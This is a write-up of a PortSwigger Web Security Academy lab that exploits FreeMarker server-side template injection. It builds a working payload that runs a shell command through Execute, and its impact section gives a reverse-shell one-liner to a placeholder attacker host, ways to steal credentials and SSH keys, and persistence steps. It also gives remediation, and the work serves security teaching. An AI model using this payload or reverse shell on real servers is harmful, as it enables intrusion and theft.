PlatformPortSwigger Web Security Academy
TopicServer-side template injection
LabServer-side template injection using documentation
DifficultyPractitioner
EngineFreeMarker (Java)
GoalDelete morale.txt from Carlos’s home directory
ToolsBrowser, the engine’s own documentation

The idea#

Sometimes you don’t need a memorised payload. Once you know which template engine is running, its official documentation will often hand you everything you need, including the features that turn template rendering into command execution. This lab is exactly that: identify the engine from an error message, then read the docs to build the exploit.

Reaching the template#

The lab gives you a content-manager account. Start at the shop and go to My account:

The shop home page; head to My account.
The shop home page; head to My account.

Log in as content-manager:

Log in with the provided content-manager credentials.
Log in with the provided content-manager credentials.
Logged in as content-manager. Back to the shop from Home.
Logged in as content-manager. Back to the shop from Home.

Open any product and click View details:

Pick a product and open it.
Pick a product and open it.

Content managers can edit the product description template. Click Edit template:

The product page exposes an Edit template button for content managers.
The product page exposes an Edit template button for content managers.

Fingerprinting the engine#

The template uses ${...} interpolation with objects like ${product.stock}, ${product.name}, and ${product.price}:

The editable template uses ${...} expressions, our injection surface.
The editable template uses ${…} expressions, our injection surface.

${...} is used by several engines, so provoke an error to be sure. Reference a variable that does not exist, ${test}, and preview:

Referencing an undefined variable triggers a verbose stack trace: FreeMarker, backed by Java.
Referencing an undefined variable triggers a verbose stack trace: FreeMarker, backed by Java.

The stack trace (the chain of internal method calls the error unwound through, which the app is leaking to us) is unambiguous: freemarker.core.* classes and a FreeMarker template error banner. The engine is FreeMarker running on Java.

Reading the documentation#

Now let the engine tell us how to exploit it. FreeMarker’s FAQ has an entry on letting users upload templates and its security implications:

FreeMarker's own FAQ: 'Can I allow users to upload templates and what are the security implications?'
FreeMarker’s own FAQ: ‘Can I allow users to upload templates and what are the security implications?’

The answer describes the ?new() built-in, which instantiates arbitrary Java classes from a template, "com.example.SomeClass"?new(), and warns that a “dangerous” TemplateModel on the class path can be abused:

The ?new() built-in can instantiate classes; a dangerous TemplateModel is all we need.
The ?new() built-in can instantiate classes; a dangerous TemplateModel is all we need.

So the plan is: use ?new() to instantiate a class that runs commands. Which class? Browse the FreeMarker Javadoc on javadoc.io:

The published FreeMarker Javadoc on javadoc.io.
The published FreeMarker Javadoc on javadoc.io.
Package overview; the interesting one is freemarker.template.utility.
Package overview; the interesting one is freemarker.template.utility.

Open the TemplateModel interface and scan its known implementing classes. One stands out, Execute:

Browsing the freemarker.template package.
Browsing the freemarker.template package.
Among TemplateModel's implementing classes is Execute.
Among TemplateModel’s implementing classes is Execute.

The Execute class doc says it all: it “gives FreeMarker the ability to execute external commands,” used from a template as ${exec("/usr/bin/ls")}:

freemarker.template.utility.Execute runs external commands; the doc even shows the template usage.
freemarker.template.utility.Execute runs external commands; the doc even shows the template usage.

Building the payload#

Combine the two documented features. Use ?new() to instantiate freemarker.template.utility.Execute, assign it to a variable, then call it with our command:

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("rm /home/carlos/morale.txt") }

Walking through it:

  • <#assign ex=...> is FreeMarker’s variable-assignment directive; it stores something into a template variable named ex.
  • "freemarker.template.utility.Execute"?new() uses the ?new() built-in to instantiate that class by name, so ex becomes an Execute object.
  • ${ ex("rm /home/carlos/morale.txt") } calls that object like a function, which runs the command on the server.

Append that to the template, preview or save, and the command runs on the server. morale.txt is deleted and the lab is solved:

The payload instantiates Execute and runs the delete command. Lab solved.
The payload instantiates Execute and runs the delete command. Lab solved.

Real-world impact#

Deleting morale.txt is just a safe stand-in: instantiating Execute gives arbitrary command execution on the server. In a real, authorized engagement the same foothold escalates fast, for example:

  • Interactive access — pipe a reverse shell back to your own box (a bash -i >& /dev/tcp/<attacker-ip>/<listening-port> 0>&1 or nc one-liner) for a hands-on session instead of firing one command at a time.
  • Credential & key theft — read anything the web user can: /etc/passwd, application config and .env files, database credentials, cloud tokens, and SSH private keys such as ~/.ssh/id_rsa.
  • Lateral movement — reuse harvested SSH keys or passwords to log into the host or pivot to other machines on the network.
  • Persistence & exfiltration — append your key to ~/.ssh/authorized_keys, add a cron job, or stage sensitive data for exfiltration.

It’s the same command execution you used to solve the lab, just pointed at a real objective, which is why these bugs rate critical. Only ever against systems you are authorized to test.

Remediation#

  • Don’t let users edit templates. Treat template source as code, not data.
  • If user-supplied templates are unavoidable, run them through a sandboxed configuration. FreeMarker’s TemplateClassResolver.ALLOWS_NOTHING_RESOLVER blocks ?new() from reaching classes like Execute.
  • Keep the engine and its object wrapper locked down so dangerous TemplateModel implementations are never reachable from a template.

Key takeaways#

  • A verbose error is a gift: it names the engine and the language, which is the whole game in a “documented exploit” lab.
  • The engine’s own documentation is an exploit primitive. FreeMarker advertises ?new() and ships Execute, so no third-party payload is needed.
  • The chain is small: ?new() to instantiate, Execute to run, one command to finish.